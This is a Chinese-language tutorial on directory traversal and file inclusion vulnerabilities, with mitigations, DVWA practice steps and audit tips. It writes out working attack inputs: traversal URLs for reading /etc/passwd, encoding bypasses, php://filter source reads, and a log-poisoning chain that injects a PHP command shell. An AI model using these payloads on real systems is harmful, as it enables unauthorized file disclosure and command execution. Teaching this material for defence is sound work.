文章目录

  • 前言
  • 一 目录穿越漏洞
    • 1.1 什么是目录穿越?
    • 1.2 目录穿越的原理
    • 1.3 目录穿越的常见形式
      • 1.3.1 基本形式
      • 1.3.2 编码绕过
      • 1.3.3 绝对路径攻击
    • 1.4 实战案例解析
      • 1.4.1 案例1:简单的目录穿越
      • 1.4.2 案例2:编码绕过
    • 1.5 目录穿越的危害
  • 二、文件包含漏洞详解
    • 2.1 什么是文件包含?
    • 2.2 文件包含的原理
    • 2.3 文件包含的利用技巧
      • 2.3.1 LFI进阶利用
      • 2.3.2 RFI利用条件
    • 2.4 实战案例解析
      • 2.4.1 案例1:基本的LFI
      • 2.4.2 案例2:日志文件包含
      • 2.4.3 案例3:PHP伪协议利用
    • 2.5 文件包含的危害
  • 三、漏洞防御方案
    • 3.1 目录穿越防御措施
    • 3.2 文件包含防御措施
  • 四、实战演练环境搭建
    • 4.1 DVWA环境配置
    • 4.2 目录穿越练习
  • 五、漏洞挖掘与审计
    • 5.1 如何发现目录穿越漏洞
    • 5.2 如何发现文件包含漏洞
    • 5.3 代码审计要点

前言

  • 在Web安全领域,目录穿越(Directory Traversal)和文件包含(File Inclusion)是两种常见且危险的漏洞类型。本文将系统性地介绍这两种漏洞的原理、危害、利用方式及防御措施。

一 目录穿越漏洞

1.1 什么是目录穿越?

  • 目录穿越(Directory Traversal),又称路径遍历(Path Traversal),是一种允许攻击者访问Web服务器文件系统中本不应公开的文件的漏洞。攻击者通过操纵文件路径参数,使用"…/"等特殊符号跳出预期的目录限制。

  • 类比理解:想象你在一栋大楼里,每个房间都有严格的门禁。目录穿越就像找到了大楼设计上的漏洞,通过特定的路径组合,可以进入任何房间,甚至是管理员办公室。

1.2 目录穿越的原理

  • Web应用程序通常会使用动态文件路径来访问服务器上的资源。例如:
http://example.com/loadFile?filename=report.pdf
  • 如果应用程序没有正确验证filename参数,攻击者可以构造恶意路径:
http://example.com/loadFile?filename=../../etc/passwd

1.3 目录穿越的常见形式

1.3.1 基本形式

  • Unix/Linux系统:使用../返回上级目录
  • Windows系统:使用..\../返回上级目录

1.3.2 编码绕过

  • URL编码:%2e%2e%2f = ../
  • 双重编码:%252e%252e%252f = ../
  • Unicode编码:..%c0%af = ../ (某些系统)

1.3.3 绝对路径攻击

  • 直接指定绝对路径:
filename=/etc/passwd

1.4 实战案例解析

1.4.1 案例1:简单的目录穿越

  • 假设有一个图片查看服务:
http://example.com/viewImage?file=userUploads/avatar123.jpg
  • 攻击者尝试:
http://example.com/viewImage?file=../../../../etc/passwd
  • 如果服务未做防护,可能返回系统的passwd文件内容。

1.4.2 案例2:编码绕过

  • 某网站过滤了../但未考虑编码:
  • 正常请求:
http://example.com/download?file=document.pdf
  • 攻击请求:
http://example.com/download?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd

1.5 目录穿越的危害

  1. 敏感信息泄露:读取密码文件、配置文件等
  2. 系统文件篡改:修改关键系统文件
  3. 源代码泄露:获取应用程序源代码
  4. 辅助其他攻击:为后续攻击提供信息

二、文件包含漏洞详解

2.1 什么是文件包含?

  • 文件包含(File Inclusion)漏洞发生在应用程序动态包含文件时,未正确验证用户控制的文件路径参数,导致可以包含恶意文件。

文件包含分为两种:

  • 本地文件包含(LFI, Local File Inclusion):包含服务器本地的文件
  • 远程文件包含(RFI, Remote File Inclusion):包含远程服务器上的文件

2.2 文件包含的原理

  • 许多编程语言支持动态文件包含功能,例如PHP的include()require()函数。当用户输入直接作为包含参数时,就可能产生漏洞。PHP示例:
<?php
$page = $_GET['page'];
include($page . '.php');
?>
  • 正常访问:
http://example.com/index.php?page=home
  • 恶意访问:
http://example.com/index.php?page=/etc/passwd%00

(使用null字节%00截断.php后缀)

2.3 文件包含的利用技巧

2.3.1 LFI进阶利用

  1. 日志文件注入:通过包含access.log或error.log,结合UA或Referer注入PHP代码
  2. PHP伪协议
    • php://filter:读取文件源码
    • php://input:执行POST数据中的代码
  3. Session文件包含:通过包含session文件执行代码

2.3.2 RFI利用条件

  1. allow_url_fopenallow_url_include设置为On
  2. 目标文件后缀会被解析为PHP(如.jpg的PHP后门)

2.4 实战案例解析

2.4.1 案例1:基本的LFI

  • 某PHP网站:
http://example.com/index.php?module=contact
  • 后端代码:
include($_GET['module'] . '.php');

攻击:

http://example.com/index.php?module=../../../../etc/passwd%00

2.4.2 案例2:日志文件包含

  1. 确定服务器使用Apache,日志位于/var/log/apache2/access.log
  2. 在User-Agent中插入PHP代码:
    User-Agent: <?php system($_GET['cmd']); ?>
    
  3. 包含日志文件:
    http://example.com/index.php?page=/var/log/apache2/access.log
    
  4. 执行命令:
    http://example.com/index.php?page=/var/log/apache2/access.log&cmd=id
    

2.4.3 案例3:PHP伪协议利用

  • 读取PHP文件源码:
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index
  • 返回base64编码的源码,解码后可得原始代码。

2.5 文件包含的危害

  1. 任意代码执行:最严重的后果
  2. 敏感信息泄露:同目录穿越
  3. 网站篡改:植入后门或恶意内容
  4. 服务器沦陷:作为跳板攻击内网

三、漏洞防御方案

在这里插入图片描述

3.1 目录穿越防御措施

  1. 输入验证

    • 白名单验证:只允许预期的文件名
    • 黑名单过滤:过滤../..\
    • 正则表达式:/^[a-zA-Z0-9]+\.pdf$/
  2. 路径规范化

    • 解析路径中的...
    • 使用语言内置函数如PHP的realpath()
  3. 文件系统限制

    • 使用chroot jail
    • 设置适当的文件权限
  4. 示例代码(PHP)

$base_dir = '/var/www/uploads/';
$user_file = $_GET['file'];
$real_path = realpath($base_dir . $user_file);if (strpos($real_path, $base_dir) !== 0) {die('非法路径访问!');
}

3.2 文件包含防御措施

  1. 避免动态包含

    • 使用静态包含
    • 使用switch-case结构替代
  2. 白名单验证

$allowed = ['home', 'contact', 'about'];
$page = $_GET['page'];if (!in_array($page, $allowed)) {die('非法页面请求!');
}
include($page . '.php');
  1. 设置PHP配置

    • allow_url_include = Off
    • allow_url_fopen = Off
  2. 文件路径限制

    • 设置包含目录
    • 禁止包含用户上传目录
  3. 使用安全函数

    • basename():只返回文件名部分
    • realpath() + 前缀检查

四、实战演练环境搭建

4.1 DVWA环境配置

  1. 下载Damn Vulnerable Web Application(DVWA)
  2. 配置PHP环境(建议5.4+)
  3. 设置DVWA安全级别为"low"进行练习

4.2 目录穿越练习

  1. 在DVWA中选择"File Inclusion"
  2. 尝试读取服务器上的/var/www/html/vulnerabilities/fi/help/help.php文件
  3. 尝试使用不同编码方式绕过

五、漏洞挖掘与审计

5.1 如何发现目录穿越漏洞

  1. 参数分析
    • 查找文件路径参数(file, path, page等)
    • 测试参数是否接受路径遍历序列
  2. 测试方法
    • 基础测试:尝试../../etc/passwd
    • 编码测试:尝试URL编码、双重编码
    • 边界测试:尝试不同数量的../

5.2 如何发现文件包含漏洞

  1. 参数分析

    • 查找包含功能的参数(include, page, module等)
    • 测试参数是否可以包含远程文件
  2. 测试方法

    • 基础LFI测试
    • RFI测试(需配置允许)
    • 特殊协议测试(php://, data://等)

5.3 代码审计要点

  1. 危险函数识别

    • PHP:include, require, include_once, require_once, fopen
    • Java:FileInputStream, RandomAccessFile
    • .NET:File.Open, File.ReadAllText
  2. 输入追踪

    • 跟踪用户输入如何传递到文件操作函数
    • 检查是否有足够的验证和过滤

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/913474.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/913474.shtml
英文地址,请注明出处:http://en.pswp.cn/news/913474.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

uri-url-HttpServletRequest

1. 使用HttpServletRequest UrlPathHelper 解析 出 url路径 org.springframework.web.util.UrlPathHelper 是 Spring 框架中用于处理 HTTP 请求路径的一个工具类&#xff0c;它帮助解析和处理与请求路径相关的细节。特别是 getLookupPathForRequest(HttpServletRequest request…

Ubuntu22.04安装p4显卡 nvidia-utils-570-server 570.133.20驱动CUDA Version: 12.8

Ubuntu22.04安装p4显卡 nvidia-utils-570-server 570.133.20驱动CUDA Version: 12.8专业显卡就是专业显卡&#xff0c;尽管p4已经掉到了白菜价&#xff0c;官方的支持却一直都保持&#xff0c;比如它可以装上cuda12.8,这真的出乎我意料。NVIDIA Tesla P4显卡的主要情况Pascal架…

工业日志AI大模型智能分析系统-前端实现

目录 主要架构 前端项目结构 1. 核心实现代码 1.1 API服务封装 (src/api/log.ts) 1.2 TS类型定义 (src/types/api.ts) 1.3 Pinia状态管理 (src/stores/logStore.ts) 1.4 日志分析页面 (src/views/LogAnalysis.vue) 1.5 日志详情组件 (src/components/LogDetail.vue) 2…

C++内存泄漏排查

引言 C内存泄漏问题的普遍性与危害内存泄漏排查大赛的背景与目标文章结构和主要内容概述 内存泄漏的基本概念 内存泄漏的定义与类型&#xff08;显式、隐式、循环引用等&#xff09;C中常见的内存泄漏场景&#xff08;指针管理不当、资源未释放等&#xff09;内存泄漏对程序性能…

20250706-4-Docker 快速入门(上)-常用容器管理命令_笔记

一、常用管理命令1. 选项&#xfeff;&#xfeff;1&#xff09;ls&#xfeff;功能&#xff1a;列出容器常用参数&#xff1a;-a&#xff1a;查看所有容器包含退出的-q&#xff1a;列出所有容器ID-l&#xff1a;列出最新创建的容器状态使用技巧&#xff1a;容器很多时使用dock…

基于 Camunda BPM 的工作流引擎示例项目

项目介绍 这是一个基于 Camunda BPM 的工作流引擎示例项目&#xff0c;包含完整的后台接口和前端页面&#xff0c;实现了流程的设计、部署、执行等核心功能。 技术栈 后端 Spring Boot 2.7.9Camunda BPM 7.18.0MySQL 8.0JDK 1.8 前端 Vue 3Element PlusBpmn.jsVite 功能…

Day06_刷题niuke20250707

试卷01&#xff1a; 单选题 C 1. 在C中,一个程序无论由多少个源程序文件组成,其中有且仅有一个主函数main().说法是否正确&#xff1f; A 正确 B 错误 正确答案&#xff1a;A 官方解析&#xff1a; 在C程序设计中,一个完整的程序确实有且仅有一个main函数作为程序的入口点,这…

洛谷 P5788 【模板】单调栈

题目背景模板题&#xff0c;无背景。2019.12.12 更新数据&#xff0c;放宽时限&#xff0c;现在不再卡常了。题目描述给出项数为 n 的整数数列 a1…n​。定义函数 f(i) 代表数列中第 i 个元素之后第一个大于 ai​ 的元素的下标&#xff0c;即 f(i)mini<j≤n,aj​>ai​​{…

linux系统运行时_安全的_备份_还原_方法rsync

1.问题与需求 问题: 新部署的机器设备(主控RK3588), 没有经过烧录定制镜像, 研发部署, 直接组装发送到客户现场需要通过frpc远程部署: 安装ros2 python包 docker镜像 环境配置 自启动配置 SN设备信息写自动部署脚本, 实现一键部署升级无奈物联网卡做了白名单限制, apt 和…

18套精美族谱Excel模板,助力家族文化传承!

【资源分享】18套精美族谱Excel模板&#xff0c;助力家族文化传承&#xff01; &#x1f3af; 本文分享一套完整的家族谱系资源&#xff0c;包含18个精心设计的Excel模板&#xff0c;从基础模板到专业图表&#xff0c;满足各类家族的族谱制作需求。 一、为什么要制作族谱&…

MySQL Galera Cluster企业级部署

一、MySQL Galera Cluster简介 主要特点 同步复制&#xff1a; 所有的写操作&#xff08;包括插入、更新、删除&#xff09;在集群中的所有节点上都是同步的。这意味着每个节点上的数据是完全一致的。 多主节点&#xff1a; 集群中的每个节点都是主节点。所有节点都可以处理读…

HTTP 重定向

什么是 HTTP 重定向&#xff1f; HTTP 重定向&#xff08;HTTP Redirect&#xff09; 是服务器向客户端&#xff08;通常是浏览器&#xff09;发出的指令&#xff0c;告诉客户端某个请求的资源已被移到新的位置。重定向通常通过发送一个特殊的 HTTP 状态码&#xff08;例如 3x…

本地加载非在线jar包设置

项目中存在私有jar包&#xff0c;提示在线获取不到&#xff0c;需要先获取到完整的jar包在打进maven中再在项目中进行maven依赖引入 mvn install:install-file -DfileD:\tools\maven\apache-maven-3.5.2\local_repository2\org\ahjk\SixCloudCommon\1.0\SixCloudCommon-1.0-SN…

Codeforces Round 979 (Div. 2)

A c[1]-b[1]0&#xff0c;之后每个c[1]-b[1]最大都是maxa-mina&#xff0c;最大和最小放前两个 B ans2^(a1)-2^s-1&#xff0c;1一个最小 C 我们可以把式子化为(....)||(....)||(....)括号里没有||&#xff0c;如果括号全是1那么A赢&#xff0c;A尽量选择把1选在一起 D …

UI前端大数据处理性能瓶颈突破:分布式计算框架的应用

hello宝子们...我们是艾斯视觉擅长ui设计、前端开发、数字孪生、大数据、三维建模、三维动画10年经验!希望我的分享能帮助到您!如需帮助可以评论关注私信我们一起探讨!致敬感谢感恩!一、引言&#xff1a;前端大数据处理的性能困境与破局之路在数据爆炸增长的时代&#xff0c;UI…

病虫害数据集

数据是泰迪杯主办方提供的已经标记好的数据&#xff0c;4k画质的图片&#xff0c;总大小8个G 链接&#xff1a;https://pan.baidu.com/s/1fvmNHGrLvflEovjfCjDLOw?pwd6666 提取码&#xff1a;6666 虫害包括&#xff1a; 八点灰灯蛾 褐飞虱属 白背飞虱 二化螟 蟋蟀 黄足…

JAVA基础:关于JDK环境变量设置的若干相关细节及注意事项

一、JDK下载安装 网址&#xff1a;https://www.oracle.com/java/technologies/downloads/ 以 win11 为例&#xff0c;根据网址下载安装包后&#xff0c;点击安装&#xff0c;注意设置安装路径 二、基础常识 1.Java三大使用平台 Java SE(Java Standard Edition): 标准版&…

C++高频知识点(四)

文章目录 16. 虚基类要解决什么问题&#xff1f;17. C中如何进行类型转换操作&#xff1f;列举并解释四种类型转换方式。18. 什么是函数重载&#xff1f;如何进行函数重载&#xff1f;19. 解释C中的友元函数和友元类&#xff0c;并解释其使用场景。友元函数友元类 20. 请解释C中…

【Servlet资源转发介绍】

文章目录 前言一、Servlet 资源转发是什么&#xff1f;1. 为什么要资源转发&#xff1f; 二、资源转发 vs 重定向三、如何使用 RequestDispatcher 进行资源转发1. 引入依赖2. 获取 RequestDispatcher3. forward 示例4. include 示例JSP 中 include 指令或动作Servlet 中 includ…

牛客周赛 Round 99题解

Round 99 思路&#xff1a;我们之间去用字符串去统计即可&#xff0c;输入一个字符串&#xff0c;看相邻有没有99即可 #include<bits/stdc.h> using namespace std; #define int long long string s; signed main() {cin>>s;int ns.size();for(int i1;i<n;i){i…